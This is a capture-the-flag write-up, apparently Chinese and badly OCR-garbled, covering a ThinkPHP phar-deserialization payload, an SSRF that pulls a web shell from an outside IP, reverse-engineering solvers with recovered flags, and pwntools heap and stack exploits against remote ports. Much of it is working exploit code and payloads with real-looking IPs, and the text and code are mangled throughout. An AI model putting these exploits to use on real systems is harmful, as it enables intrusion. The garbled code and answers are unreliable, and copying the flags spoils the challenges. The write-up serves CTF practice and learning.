['ORIG_PATH_INFO', 'REDIRECT PATH_INFO', 'REDIRECT URL'],
SHHET

1
)

15

public function O
$this->hook[ 'visible']=[$this, "isAjax"'];
$this->filter="system";

namespace{
use think\process\pipes\Windows;
s [/ JEERE IR Faphar, JEAE G I X EE




$phar-> OF

(" __HALT COMPILER(); ?>"); //#Estub

= new Windows();

($0); //H#EEXHmeta-datafFAmanifest
("hello.txt", "test"); //test /A &test. txt HE

$phar->

$phar->
$phar->
A=/
$phar-> O;

echo base64 encode(serialize(new Windows));

BHI (AT LU FFAE)

Ephar

<?php

echo ( ("phar3.phar"));

payloadZLEEE —F
http://1.12.220.15:19274/index.php/index/index/hello?shell=cat /*

world=hello=IF9fSEFMVFODTO1QSUxFUigpOyA/PgoKIgMAAAEAAAARAAAAAQAAAAAA7WIAAE86M]jc6InRoalW5rXHBYb2N1c3NccG1wZXNcV21u
ZG93cyI6MTp7czozNDoiAHRoaW5rXHBYb2N1c3NccGlwZXNcV21uZG93cwBmalx1lcyI7YToxOntpOjA7TzoxNzoidGhpbmtcbWOkZWxcUG12b3Q1
0jI6e3M60ToiACOAYXBWZWSkIjthOjE6e3M6NDoiZmVuzZyI7YToxOntz0jU6ImhlbGxvIjtz0jU6IndvemxkIjtOfXM6MTc6IgBOaGlualxNb2R]]
bABKYXRhIjthOjE6e3M6NDoiZmVuZyI7TzoxMzoidGhpbmtcUmVxdWVzdCI6Mzp7czo30iIAKgBob29rIjthOjE6e3MENzoidmlzalWIsZSI7YToy
Ontp0jA7cjo402k6MTtz0jY6ImlzQWpheCI7fX1z0jk6IgAqAGZpbHR1ciI7¢cz0201]zeXNOZWOi03M60T0iACOAY29uZmlnIjthOjEWONtzOJEW
01J2YXJIFbWVOaGOkIjtz0jc6I19tZXRob2Qi03M60D0oidmFyX2FqYXgiO3M6MDoiIjtz0jg6InZhcl9wamF4Ijtz0jU6I19wamF4Ijtz0jEy0iJ2]
XJIfcGFOaGluZm8i03M6MToicyI7czoxNDoicGFOaGluZmo+fZmvVeY2gi02E6Mzp7aTowO3MEMTQ6IKkISSUdFUEFUSFOITKZPIjtpOjE7czox0Dod
UKVESVIFQ1RfUEFUSF9ITkZPIjtp0jI7czoxMjoiUkKVESVIFQ1RfVVIMIjt9czoxNDoiZGVmYXVsdFOmaWx@ZXIi03M6MDoiIjtz0jE10iJ1cmxf]
ZG9tYW1uX3Jvb3Qi03M6MDoiIjtz0jE20iJodHRwWc19hZ2VudFOuYW11Ijtz0jA6IiI7czoxMzoiaHROCcFOhZ2VudF9pcCI7czoxNDoiSFRUUF9

X1JFQUXfSVAI03MEMTU6INVYbF90dG1sX3N1ZmZpeCI7cz000iJodGlsIjtofX19fX0IAAAAaGYsbG8udHhOBAAAAATNnomEEAAAADHS/ 2LYBAAAA
AAAAAGVzdM/1BO6QxBmPdCAWIMiCHMEIvsXAgAAAEACTUI=%26a=phar://hello. txt

Actions W Actions v

Pretty \n
1 "OST /index. php/index/index/hello?shell=cat%20/* HTTP/1.1

2 Host: 1.12.220.15:19274

2 User-Agent: Mozilla/5.0 (Windows NT 10.0; Winf4: x64: rv:90.0) Gecko/20100101 Firefox/90.0

4 Accept: text/html, application/zhtnl+xml, application/xnl;q=0.9, image/avif, inage/webp, #/# q=0. 8
5 Accept-Language: zh-CN, zh:q=0. 8, zh-T; g=0. 7, zhHK : g=0. 5, en-US ; g=0. 3, en; q=0. 2

WEEER Raw Render \n

<span style="color: DD0000" > hello.txt' </span>
<span style="color: 3007700">, tmbsp;</span>
<span style="color: 30000EB">$s¢/span>

Lo mwU UL sy spans

G Accept-Encoding: gzip, deflate

7 Content-Type: application/z-www—forn—urlencoded

2 Content-Length: 1207

9 Origin: http://1.12.220.15:19274

10 Comnection: close

L1 Referer: http://1.12.220.15:19274/index. php/index/index/hello?shell=cat%20/%*
12 Upgrade-Insecure-Requests: 1

14 world=
hello%3DIF9f SEFMVFODT01QSUxFU1gp0 yA%2FP 20K JeMAAAE AAMARAAAAAQ AAAAAA TWIAAE B6M je6 InRoalWor XHE yh2H1e3NeeG 1
wZXNeV21uZG83cyI6MTpTezozNDoiAHRo Al 2N1e3Nect 1wZENeV21uZ693cwBnalfxley I T ToxOntpl jATTzoxNz01dGhp
bt chf9kZWxcUG12b3Q10 j16e3ME0 ToiAC 51T jth0 JEGe3MEND oxOnt z0 U6 Imh1bGxvI jtz0 jU6 Indve
mxkI jt9fXMEMIcEIgB0aGlualxNh2R1b. RII jthO jEGe 3MGNDo1iZm}
TAKgBob29rI jthO jE6e3M6Nzoidnl zaf TsZ8ITYToyOntp0 JAT ¢ Jo40 2Lk GMT
Tezo201JzeXN0ZW0i03ME0Toi ACoAY29uZmInT jthO jEwOnt 20 jEw0 1 J2YXJFbWV0aG 91T jtz0 je6T19tZXRa
K2 q¥Xgi03MENDo1 T jt20 jg6InThe 19wanFAT jt=0 jUST19wanFAT jt=0
GF0aGluZm9fInV0Y2gi0ZEGMzpTal owd SMEMTAGILISSUAfUEFUSFO T’ Jtp0JETczox0DoiUkVESVJFQIRfUEFUSFOJILIPI §
tp0 iITezoxMjoiUkVESVIFQIREVVINI jtOczoxNDoiZG V¥ VsdF dnal Ti03M6MDoil jtz0 JEL0iJlenxfZGOt MTIuE Jvh3a
103M6MDo1iT jt=0 jE201 JodHRwe19hZ2VudF SuYW11T jtz0 jJA6TiITczoxMzoiaHROcF 9hZ2VudF 8peCITczoxNDoi SFRUUF9 VX1 JF

b2Q103M60D01dnF ¥
Ey01J2YXJfcGF0aG1uZn8i03MEMToicyITezoxNDoic

zdCI6MzpTczod01 -
6IgAgAGIpbHRLciI

QUxf SVAID3MEMTUE InVybF90dG1sK3N1ZnZpeCITez0001 Jod6 15T j£9FX19F 0 JAAAAAGVShGE BudHh0BAAAAA TnomBEAAAADHE%2

FILYBAAAAAAAAAGY ZdM%2F 1B0GQxBmP dC dW1MiCHME Iv sEXAgAAAE AC TUT%3D%26a%3D pharh3A%2F%2Fhello. txt

<span style="color: F007700">):<br /> -
&nbsp ; Enbsp ;&nbsp ;&nbsp ; &nbsp ; &nbsp ;&nbsp ; &nbsp ; if (isset (</span> I |
<span style="color: #0000BB">$a</span> <
<span style="color: 20077007>))<br />
&nbsp; nbsp :&nbsp ;&nbsp ;knbsp ; Enbsp :&nbsp; &nbsp: {<br />
&nbsp; nbsp :&nbsp ;&nbsp ;knbsp ; Enbsp :&nbsp: &nbsp : tnbsp ;&nbsp &nbsp ; &nbsp : echoknbsp ; (</span
<span style="color: Z0000BB">file_get_contents</span>
<span style="color: 2007700">(</span>
<span style="color: #0000BB">$a</span>
<span style="color: Z007700">)):<br />
&nbsp ;Enbsp :&nbsp :&nbsp :&nbsp : fnbsp :&nbsp; &nbsp; } <br />
&nbsp ;Enbsp :&nbsp :&nbsp:} <br />
J<br />
</span>
</span>
</code>

<fdiv>
<div class="exception”>

<div class="info" >
<hl>

DL
<fhl>
Afdivy

T S

<fdiv>

<div class="copyright”>

<a title="17 {4t href="http://www. thinkphp. cn” > ThinkPEP</a>
<span>V5. 1. 37 L1S</span>

<span>{ THEE—S-RAPTIF A it IR HEAEES? }</span>

<fdivy
</body>
</ntml>
d0g3 {w0s Inp_need_a_gril_friend

ezcms

HERZ AT GsqVEAN, REEREIEE, SRER|—FIREHMA, #TZEETETAET .



ZJEAWPA L JG R R, P E#KRE G TR, BB —eurlikn.,

—getFile(

.back(-1);</script>")

= get_zip_originalsize(

(1is_dir( )DEI

L% A AT LA AE T B
HITHH

if (isset($_GET['url'])){
$dname= ("/", $_GET['url']);
/ print_r($dname);
if( ($dname[2], 'sem-cms.cn') !== false){
$url=$ GET['url'];
telse{
echo("<script language='javascript'>alert('3JE¥ZE#{E" ) ;window.history.back(-1);</script>");

exit;

15388, dname[2){8E & sem-cms.cn, & Ephp3CiE4 NILEIT] .

payload

http://81.69.27.32:8888/CxWsbN_AR4/Ant_Curl.php?url=47.101.176.40/shell/sem-cms.cn.php

RN TERM, EAMRNIRZ J5H LR RN, WS EE

Soft/Zip/sem-cms.cn.php



@ rEa
AntSword &8 ZHFO B
4« == 0 81.69.27.32

™ #Hi§: /flag

/flag

1 Deg3{this_Ts fl4g Deg3333333}
2

!

RE

virtus

AR, Sedumpi REIEMTEF

BHERWMAFIDNNE, —PRkey,— A REflag keylI K E R4, flagkER32

< hlgk

ESE - DALEEITRF - BEF



- PR - PR -

15| viG = B;
6 memset(vll, @, sizeof(vi1l));

7 memset(Parameter, @, sizeof(Parameter));

13| wo = 8;

@ InitializeCriticalSection(&CriticalSection);

3@ printf("please input you key:");

31 scanf("&s", &5tr);

32 | printf("please input you flag:");

33 | scanf("%s", Parameter);

i if ( strlen(Parameter) != 32 || strlen(&str) !=4 )

i5

36 printf{"wrong lenth !!!"};
37 exit(8);

3|}

39 Handles = CreateThread(@, @, StartAddress, Parameter, @, @);
18 hobject = CreateThread(@, @, sub_4B1B1E, Parameter, @, 8);
11 | WaitForMultipleObjects({2u, &Handles, 1, @xFFFFFFFF);

12 | CloseHandle(Handles);

13 | CloseHandle(hObject);

M| p Str = &5tr;

15 for (1i=8; 1 <4; ++1)

16
17 sub_481823(p Str, &v12 + 4 * i);
13 p Stro= &v12 + 4 * i

w1

it & A2 flag BEAT I#E AR AT 8, B BR

Handles = CreateThread(®, @, StartAddress, Parameter, @, @);
hobject = CreateThread(®, @, sub_48181E, Parameter, @, @);
WaitForMultipleObjects(2u, &Handles, 1, @xFFFFFFFF);

B T B S e e e LV |

EnterCriticalsection(&Criticalsection);
for (i =8; 1 < 32; 1 +=2)

*(BYTE *)(i 4 al) "= 6u;
LeavelriticalSection(&CriticalSection);
return @;

et R bt A T Rl

EnterCriticalSection(&Criticalsection);
for (1 =1; 1 € 32; 1 +=2)

*(CBYTE *)(i + al) *= Fu;
LeaveCriticalSection(&CriticalSection);
return &;

XEEXTkey#TIZH, HHEBHEEMNSERIHTHR
For (i-@; i <4y i)

sub_aeadP3(p Str, &vi2 + 4 * i);
p Stro= &v12 + 4 * i

1
if ( stromp(&stri[3], "Lroe™) )
printf({"wrong key");

exit(8);

b

KeyRIIn# HERKE 8 HREKeyKEHAK, BERSNMARE, RO RkeyR:_shy



r
int main{int argc, char= argu[])}

{
char in[5]="1234";
for{int i="0";i{128;i++){
for{int j="0";j<{128;j++){
for{int a="8";a{128;a++){
for{int b="0";b<{128;b++){
char out[5]={8};
in[@8]=1;
in[1]=3;
in[2]=a;
in[3]=b;
dp{in,out};
if{out[B]=="h"&&kout[1]=="g" " &&kout[2]==0=7Ff&&out[3]=="N"}{
printf{"%chcicic",1,j,a,b);
getchar();
getchar();
H
H
H
H
H
getchar();
printf{"Hello World?*in");
return B8;
H

FI T B RMRIEkeyERFEHR, RN agitiT e, &E#HT LR

sub_481841(&v12, vil);

for ( 1 =8; 1 <€ 2; 1)
sub_4@lear(&Farameter[16 * i], v11l, & 7[i]);
if ( sub_4@1828(v7) )
printf("congratulations !1!%n");
else

printf("sorry , you're wronghn®);
return system("pause™);

IAAATTMEN madm AC5 JTAATTEDY

BT, #EHV3[i]=sub_401005(*(a2 + 4 *i + 16) Av3[i + 3] A v3[i + 2] A va3[i + 1]) A v3[i+4]

L woid _ cdecl sub 4812FB(int al, int a2, int a3)
) if

i dnt w3[36]; /4 [e: BYREF

bl dint i3 // [esp+DCh] [

[

i o for (=85 1< 4; ++1)

’ sub_48183C(al + 4 * i, &v3[i]);

P ofor (1= 8; 14 32; ++1)

i v3[1 4+ 4] = sub_4@1@85(*(a2 + 4 * 1 + 16) ~ v3[i + 3] ™ v3[1 + 2] ~ w3[Li + 1]) ~ v3[i]s
v for (=85 1< 45 ++1)

L sub_4@1819(v3[35 - i], a3 + 4 * i);

2 [}

T HIBLRITA0ONMEOMMEHEY TR, REE LEHEHRKAX, #ELH Hfag

A

#tinclude "stdafx.h"
int key[]={
Oxcbd6c588, 0x03f17d27, Ox1cl8e9cc, Oxfed24db3, 0xd71737eb, Ox7bSbleab, Ox2776bba4, Oxbd2018cO, ©x356d05

53, 0x0c825513, Oxcaaffe94, Ox9dfbcbal, Ox7eb6b878, 0x47630f35, 0x4b494bbe, 0x34fd620a,
0x14cf85ef, Oxd754e93a, Ox338b4918, Oxc0846091, 0©xd526f236, Oxb9celfc7, Oxcb537b6a, Ox25fdd8ea, ©x722109




4b, Oxalf73abf, Ox2473d8cc, Ox8fadf2f2, Oxle7cac59, ©xec581806, ©x425d33c3, Oxbebl6ed4,
Oxe5cOca70, 0x02b60624, 0x3011744f, Oxf73a6e51, Ox4e7f6768, ©x774e5b55, Ox5b78657b,
00, 0x7968735f, OxccccccPd, Ox0018ff88, Ox00402579, Ox00000001, 0x008e1228, 0Ox008e1290};

oxe9, oxfe, Oxcc, Oxel, 0x3d,
Ox9a, 0x76, Ox2a, Oxbe, 0x04,
ox50, oxf4, ox91, oxef, 0x98,
Oxlc, Oxa9, Oxc9, Ox08, Oxe8,
oxa7, oxfc, oxf3, ox73, 0x17,
ox81, Oxb2, 0x71, 0x64, Oxda,
OxPe, Ox5e, Ox63, Ox58, Oxdl,
Ox46, Ox57, Ox9f, Oxd3, Ox27,
ox8a, Oxd2, ox40, Oxc7, 0x38,
ox5d, ©oxad4, 0x9b, 0x34, oxla,
Oxe2, Ox2e, 0Ox82, 0Ox66, Oxca,
ox37, 0x45, oxde, oxfd, Ox8e,
oxaf, 0x92, oxbb, ©xdd, ©Oxbc,
ox31, ox88, oxa5, Oxcd, 0x7b,
0x97, ©Ox4a, 0Ox0c, Ox96, Ox77,
ox7d, ©Oxec, 0x3a, Oxdc, 0x4d,

unsigned int AROL(unsigned i,unsigned bit){

}

_asm{
mov eax, [ebp+8];
push ecx;
mov ecx, [ebp+0xC];
rol eax,cl;
pop ecx;
leave;
retn;

}

return -1;

__cdecl Rcopy(unsigned int al, char * a2)

int result; // eax
int i; // [esp+4Ch] [ebp-4h]

for (i =0; i< 4; ++i )

{
a2[i] = a1l >> (24 - 8 * i);
result = i + 1;

¥

return result;

void _ cdecl rev(int al, char *a2){

}

a2[0]=(al&0XFFO00000) >>24;
a2[1]=(21&0xFF0000)>>16;
a2[2]=(a1l&0xFF00)>>8;
a2[3]=a1&0xFF;

unsigned int EP(unsigned int al){

int v6=0;

Rcopy(al, (char*)&v6);

for(int i1=0;i<4;++i){
unsigned int p=*((unsigned char*)&vé6+i);
*((char*)&v6+i)=map[p];

}

rev(v6, (char*)&al);

oxb7,
oxc3,
Ox7a,
ox95,
GER
ox8b,
Oxaz2,
ox52,
oxb5,
0x55,
0x60,
ox2f,
ox7f,
oxbd,
Ox7e,
0x20,

0x16, 0Oxb6,
Oxaa, 0x44,
0x33, 0x54,
ox80, oxdf,
0x83, 0x59,
oxf8, oxeb,
0x25, 0x22,
Ox4c, 0x36,
oxa3, oxf7,
Oxad, ©0x93,
Oxco, 0x29,
0x03, oxff,
ox11, oxd9,
ox2d, ox74,
ox65, 0xb9,
0x79, Oxee,

return al”AROL(al,2)”AROL(al,10)”~AROL(al,18)"AROL(al,24);

ox14,
ox13,
oxeb,
ox94,
ox3c,
oxef,
ox7c,
0x02,
oxf2,
0x32,
0x23,
Ox6a,
Ox5c,
oxdo,
oxfl,
ox5f,

oxc2,
0x26,
ox43,
oxfa,
0x19,
ox4b,
ox3b,
oxe7,
oxce,
0x30,
oxab,
0x72,
ox41,
ox12,
0x09,
ox3e,

0x28,
0x49,
oxed,
0x75,
oxeb6,
0x70,
ox01,
0xao0,
oxf9,
oxf5,
oxed,
oxed,
ox1f,
oxb8,
oxc5,
oxd7,

oxfb,
0x86,
oxcf,
ox8f,
0x85,
0x56,
0x21,
oxc4,
ox61,
Ox8c,
0x53,
ox6¢c,
0x10,
oxe5,
ox6e,
oxcb,

ox6f6f724cC,




}

int main(int argc, char* argv[])

{

int a=0;
unsigned int b=0x12345678;
b=EP(b);
unsigned int aim[36]={0};
aim[35]=@xE7A35E0QF;
aim[34]=@xFC93FC76;
aim[33]=Ox6CFB29EQ;
aim[32]=0x162FA567;
int i=0;
for( i=31;i>=0;i--){
aim[i]=EP(key[i + 4] ~ aim[i + 3] ~ aim[i + 2] ~ aim[i + 1])”aim[i+4];
¥
for(i=0;i<4;i++){
rev(aim[i], (char*)&aim[i]);
}
char* t=(char*)aim;
for (i =0; i< 32; i +=2 )t[i] 7= 6u;
for (i =1; i< 32; i += 2 )t[i] "= 7u;
getchar();
return 9;

mazeee

BHEMRERR, WTUEEbasefiid, AWK Ak MbaseR &, EH#Rbase#iy

(TSR _BASERARRTY ( “ QCANHZ sYHGULRIEwD UMW I3kl TR=="" )

83 D0g3{YOurCan=So1ve_it!

RIERSENTRE RESHEHRZIR-ANZ4RE, HHATUE B P HNZ 22



1T [ vZ == 22 )
{
flag = @;
while ( 2 )

if ( Flag »= 22 )

if ( off_42@@74[158 * dword 428254 + 15 * dword_42827C + unk_428248]
1
= &vl;
p o= sub_4113D4(&v16);
success(vl);
vid = 8;
w17 = -1; |
sub_41132F (&v16);
result = vl4;

vl2
ste

b

else

sub_411131();
vi3 = 8;
V17 = -1;
sub_41132F (&v16);
result = v13;
b
1
else
1
step = *sub 411262(flag);
step -= B3;

switch ( step )
1

case @:

if ( off _420874[150 * --dword 420284 + 15 * dword 42827C + unk 428248] == 79
|| off_420874[158 * dword 420284 + 15 * dword_42027C + unk_420248] == 63 )

goto LABEL_4;

sub_411131();
Vil = @;
V17 = -1;
sub_41132F(&v16);
result = v1l;
break;

case 4:

if ( off _420874[150 * ++dword 420284 + 15 * dword 42827C + unk 428248] == 79
|| off_420874[158 * dword 420284 + 15 * dword_42027C + unk_420248] == 63 )

goto LABEL_4;

sub_411131();
vig = @;
V17 = -1;
sub_41132F(&v16);
result = vle;
break;

case 14:

if ( off _420874[156 * dword 428284 + 15 * dword 42827C + --unk 428248] == 79
|| off_420874[158 * dword 420284 + 15 * dword_42027C + unk_420248] == 63 )
{

AT



z,5tring s

(x<

pos=
(pos< : [pos]!=
( pos]== &&s.length()== H

System.out.printin(s)




B 4 3k 2 . dWWwwdddWWaawwddsssSaw

BWNE, SRR o o o, FREHRURITEA A HE what?

Ch\Users\Admini

please input your flag:dWiwwdddWWaawwddsssSaw
Congratulations???

But more than..._

BEARHRIENE T AT, MAMERE TERXET, MIHEABRK T

LOBYTE(vG) = 1;

for (1 =8; 1 < 44; ++1 )

1
v1 = sub 4113ED(&a1);
/2 = sub_411262{i % v1);
sub_4114AB(byte 420824C[i] ~ *v2);

h
Directir Ty| Address Text
sub_411080+3 mowTx
=) Up r =ub_411080:1ac_411DD0F mowezx  eax, byte_d42024C
= ¥ sub_411E30+90 mowzx  ecx, byte_42024C[eax]

[ M ] I [P | ] [ LR S ] [ H-1-



nt sub_411D88()

2i{

3 int wB; /S ecx

4 int result; // eax

5 signed int i; // ebp-8h

~]

for (1 =1; 1 € 44; ++1 )
8 byte_420008[1] = byte 42624B[i] & @xE@ | byte 42024C[i] & @x1F;
9 vl = byte 420277 & @xE@;
B result = vd | byte_42824C[8] & @x1F;
1 byte 42ees8[e] = v& | byte 42024C[@] & @x1F;
return result;
131}

411D80M 1% 242000050 4H AT IR AL ki B, 4R, 420000 ELEREE T, FHFARRANIMER000000000 (4 )53 8 RIXH
H1) , BB ORHEE R IR #E420000 9 ISR, 5 HH42024CHI%HE, 1FMEOXPINMBURKIR EE TS, — B3, —1
BR5HL

1F‘

3

3

68 ooed pope
32

e ee8el 1111
e

E@‘

aaea oooe
32

1118 @eee
a

HERMmTE, AEZERT, HEEAHE

[,

jumem= =y T Sm gy w e TRy e . -
ftinclude “stdafx.h™
int main({int argc, char= argu[])
{
char tas[]="dWWuwwdddWaawwddsssSaw';
char out[58]={08};
char in[u4]=¢
Bx@e, Ox5d, Bx7d, 0x7d, 0x5d, Oxbe, Oxhe, Bxhe, Bx5d, Bx7d, Ox6b, Ox<4b, Ox5d, Bx5d, Bxhe, Bxhe,
8159, Bx59, Bx5?, 60159, Bx6b, 0x5d, 6x53, Ox24, Ox7bh, 0x34%, 60107, Ox49, 0x01, 6x11b, 6223, Ox27,
Bx7e, 8x3%, Bx3f, 8x12, 6x1b, 8x29, 6232, 8x09, Ox16, Bx12, Ox68, Bxha};
for{int i=1;i<ub;i++){
out[i]=(in[i+1]&0XEB) [ (in[i]&Bx1F);
H
out[8]=08:48;
fFor{int j=0;j<u4;j++){
out[j]"=tas[ j%22]; Memory =]
Ht: |nul
b return 8; GE1BFEFC 24 24 2A 2A 2A 20 2A 24 2A 24 2A 20 2A 20 2R 2A 2A $xxxExxxxeexexres .
[ O018FFBD  2A 2A 2A 2A 2A 57 33 6C 63 30 6D 65 5F 74 30 5F S5h  =xxxxl31lcBme_tO T | |
A BB18FF1E 68 65 SF 4D 61 7A 65 21 21 7D 90 00 60 60 680 80 CC he_HMaze!tH......
<] b P * BB18FF2F CC 64 57 57 77 77 64 64 64 57 57 61 61 77 77 64 64 A5Wiweddd awudd E
4 £ T-32: | mainint, char * %) @B18FF4@ 73 73 73 53 61 77 08 CC 88 FF 18 08 99 12 40 08 01 sssSaw FE.. N\ @.. =
EX [ @B18FF51 98 69 86 78 14 24 88 10 15 24 06 B0 B0 80 60 09 06 x.5. .- ) Th
80818FF62 @8 60 86 EA FD 7E 68 60 80 68 30 EF 68 86 5C FF 18 ™ -
I
Sign In

F#srsme, HEFHODdumpiik
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5T {
m =g
| SRS

m

& WPShE

-

THEMN): omg|
FEEER(T): | Executabl

[Ehp-' 5
[ebp-@xBC], | R aaEEs
d ptr [ebp- :

RN RFIER
DA View—&| | LE| Fsendocode—A [Ld | s’ Strings [ | 2] Hex ¥iew—1 [ ] | L
va[2] = 183;
va[3] = 51;
memset({vl, @, sizeof(vl));
v2 = 8;
vi o= @8

printf({"Now please input your flag:");
scanf("#¥s", v&);
for (1 =@; 1 <€ 32; ++1 )

[i] "= ve[(i + 1) & 32];
i = 8;
j=8;
while ( 1 < 32 )

if ( %6 2>=3)

wi[32 * (3 - 1 ¥ 3) + 1] = ve[i];
else

vi[32 * (] ¥ 3) + 1] = ve[i];

++1;
++is
¥
for ( 1 =8; 1 < 4; H1)
{ I
for ( j =@; § < 32; ++7 )
{
if ( vi[32 * 1+ 9] )
VS[vT++] = vi[32 * i+ 5];
}
}

00001ESE sub 401D10:38 (401ESE)

Je Rk —xorifE
ey =y ey
for (1 =8; 1 ¢ 32; ++1 )

A

[N

o

v6[i VE[(i + 1) % 32];

BATEHBBRAE, ITELFRINF, R



while ( i < 32 )
{
if (%6 3>=3)
vi[32 * (3 - 1 ¥ 3) + 1] = va[il;
else
vi[32 * (7 % 3) + 1] = ve[il;
++i;
s
}

for ( L =8; 1 < 4; ++1 )
for ( 1 =8; ] < 32; H+7)

if ( wi[32 * 1+ 91
BLv7++] = vi[32 * i + j]1;

g, RESRERR

sub_4B1855(v5, va, 32);
if ( sub_4elesF({vs) )

F Hfftea®ik

| DWORD *__ cdecl sub 481AE@( DWORD *al, int *map, unsigned int a3)
1

_DWORD *result; // eax

unsigned int i; // [esp+4Ch] [ebp-1Ch]

int v5; // [esp+5@h] [ebp-18h]

int v6; // [esp+54h] [ebp-14h]

[y RV I =S FVR S

7| wunsigned int v7; // [esp+58h] [ebp-18h]

8| unsigned int w8; // [esp+5Ch] [ebp-Ch]

9| unsigned int v9; // [esp+6Bh] [ebp-8h]

@

1 v5s = dword_42CA44 + Bx44336730;

2 v = @x34 / a3 + 6;

3 wE = 8;

Al v9 = al[a3d - 1];

5| do

6 1

7 vE += v5;

8 vE = (vB »» 2) & 35

9 for ( L =8; 1 < a3 - 1; H1)

@ 1

1 al[i] += ((v9 » map[ve ~ 1 & 3]) + (al[i + 1] ~ wa)) ~ (((16 * v9) ~ (al[i + 1] »> 3))
2 + ((4 % 51[1 + 1]) ~ (vo =» 5)));
'3 vl = al[i];

4

5 allaz - 1] 4= ((vO ™ map[ve ~ 1 & 3]) + (*al =~ vB)) ~ (((16 * vO) ~ (*al >> 3)) + ((4 * *al) ~ (v3 >> 5)));
‘6 result = alj;

7 vd = al[a3 - 1];

iR ——uT

VEBAIAB A, (ERBATAT LAKIIE K £42CA44/NT256, 57 ART LUAR K

'Il_'u':I + ﬂ'l.l = Wiy

+Hrdword_42CA44;

vl = time(@);

sub_4843B8(v1);

result = rand() ¥ 256;

if ( dword _42cA44 == redult )
return sub_481814();

AT



EESE

E

|[Gluhals] jl[ﬁll global memhersjl % main

B39, Ox30, Bx97, Ox47, Bx0D, BxCA, OBx01, OxC8, Ox61, Bx58,
Bx12, Bx6A, BxE8, DxOB, Bx32, Ox80, Bxh7, OxBD, Ox85, 0x03,
GO B DD DG B, GO DOk BES RS B (oo mmmam e e o
8x5D, Bx88, 6x91, 8=:4A, BOxCY¥, BxEB, 6x9D, B8=81, 68x%6, BxFD, Th4_impBrtant_th2n9_is_tA_leRrn?
OxF8, Bx3B, Ox57, Ox25, BxDD, Ox1B, @xDD, Ox5F, Ox68, OxBS,
Bx14, Ox66, 0222, Ox57, Ox28, 8x5C, Bx58, Ox9F };
for{count=0;count<{256 ;count++){
VL = count + BX44336730;
u7 Bx3h F32 + 63
v = a;
unsigned int* al={unsigned int=)code;
ue = al[31];
do{
for{int p=8;p<{u7;p++)u8 += u5;
ub = (U8B >> 2) & 3;
al[31] -= ((v9 " map[vé
For ( i = 38; 1 »-1;--1)
{

~

i & 3]) + (=a1 " vB)) " ({{16 = v9

vo=i==0%7a1[31]:a1[i - 1];
al[i] -= ((v9 ™ map[ué * i & 3]) + (ai[i + 1] © v8)) ™ (((
b
dwhile (—-v7>0);

b
Forfint + = A:T<R2:r++31¢




from pwn import*

context.log level = "debug"

#10 = process("./ezstack")
io = remote("47.108.195.119","20113")

def ():

io.recv()
io.sendline("Lightlng")
io.recv()
io.sendline("wwsbb!")

enter()

io.sendline("%11$p%17%pa")

io.recvuntil("ex")
int(io.recv(16),16)

int(io.recv(12),16)

main - @x9dc

pie + Ox7cl
sh_addr = pie + OxB24
system_plt = pie + Ox810
pop_rdi_ret = pie + 0xbo3
success("canary: "+hex(canary))
success("pie:"+hex(pie))

p64(0)*3 + p64(canary) + p64(oxdeadbeef) + p64(ret) + p64(pop_rdi_ret) + p64(sh_addr) + p64(system pl|

io.sendline(payload)
io.interactive()




pwndbg> stack 40

:0000( rsp
:0008 0x2400558fc0275aa0
:0010| rdi rsi 0x3731257024313125 ('%11%p%l7')
:0018 0x558f0a617024
:0020 « 0Ox1
:0028 0x43f939chch232d00
:0030 0x0
:0038
10040 0x7f1929fc6620 (_rtld _global_ro)
:0048 -
: 0050 0x100000000
:0058 «— 0Ox30ec8348e5894855
10060 «— Ox41ff8
:0068 0x1l4bcbal62e2a759%a
:0070 «— 0x89485ed18949ed
:0078 «— 0Ox1
:0080 0x0

o
:0090 Oxeb469a24044a759%a
;0098 Oxea8ee9alceed759a
:00a0 0x0

!
:00b8 Ox1
:00c0

& main_offset H0xb + 6
canary_offset 4 0x5 + 6

% — R payload i id #t FEmainti 8 252 5 & bt M canary

3 — Kpayload B #ret2libc shell

libc2.7 ¥R 2 Aeditd foff by null

R A Fsize PR i B 8226 B & Kchunk 48 )5 B i unsorted bin
SR G TE HiE iZunsortedbinff — &8 4> H #:showfg Fllibc

SR J5 mt & House Of Einherjar 7% B3 & HFitcache B ] ,

from pwn import*

context.log level = "debug"

io = remote("47.108.195.119","20182")

#10 = process("./pwn")

def menu(choice):
io.sendlineafter("4) delete a chunk",str(choice))

def add(index,size):

menu(1)
io.sendlineafter("Index?",str(index))
io.sendlineafter("Size?",str(size))




def (index):
menu(4)
io.sendlineafter("Index?",str(index))

def (index):
menu(2)
io.sendlineafter("Index?",str(index))

def (index, content):

menu(3)
io.sendlineafter("Index?",str(index))
io.sendlineafter("content:",content)

def ():
global io
gdb.attach(io)

def (0):

io.recv()
io.sendline("Lightlng")
io.recv()
io.sendline("wwsbb!")

def ():
enter()
io.sendlineafter("please input a str:","NO_py 1n_ tHe ct7")

def ():
global io
gdb.attach(io)

info = u64(io.recvuntil("\x7f")[-6:].1just(8,b"\x00"))
ELF("./1libc.so.6",checksec = @)

malloc_hook = info - 1104 - 0x10

libc_base = malloc_hook - libc.sym[" malloc_hook" ]

free_hook = libc_base + libc.sym["_free_hook"]

libc_base + libc.sym["system"]

add(2,0xf8)

for i in range(3,10):
add(i,exfs)

for i in range(3,10):
delete(i)




io.interactive()

FRHITCON——houseoforange J|. & —#—#f

B FR il size SR G IRIF VML H R A add edit show
SHEHEE .

https://blog.csdn.net/A951860555/article/details/1164258247?
spm=1001.2101.3001.6650.1&utm_medium=distribute.pc_relevant.none-task-blog-2%7Edefault%7ECTRLIST%7Edefault-
1.no_search_link&depth_1-utm_source=distribute.pc_relevant.none-task-blog-2%7Edefault%7ECTRLIST%7Edefault-
1.no_search_link

house of orange it Hlibc #& Junsorted bin attack + FSOP attack
from pwn import*

context.log level = "debug"

io = process("./pwn")

#10 = remote("47.108.195.119","20141")

def (choice):
io.sendlineafter("Your choice : ",str(choice))

def (size,content):
menu (1)
io.sendlineafter("it\n",str(size))
io.sendlineafter("?\n",content)

def (size,content):
menu(2)
io.sendlineafter("it\n",str(size))
io.sendafter("name\n", content)

():

menu(3)

def ():
global io




():
.recv()
.sendline("Lightlng")
.recv()
.sendline("wwsbb!")

edit (0x20,p64(0)*3+p64 (0xfcl))

2dd (0x1000, "top_chunk to the unsorted_bin")

#fuck the Libc and heap through the Llargebin
2dd (0x400,b"a"*8)

ELF("./libc.so.6",checksec = 0)
libc_info = u64(io.recvuntil("\x7f")[-6:].1just(8,b"\x00"))
main_arena = libc_info- 1514
malloc_hook = main_arena - 0x10
libc_base = malloc_hook - libc.sym[" malloc_hook" ]
io_list _all = libc_base+libc.sym[" IO list all"]
system = libc_base+libc.sym["system" ]

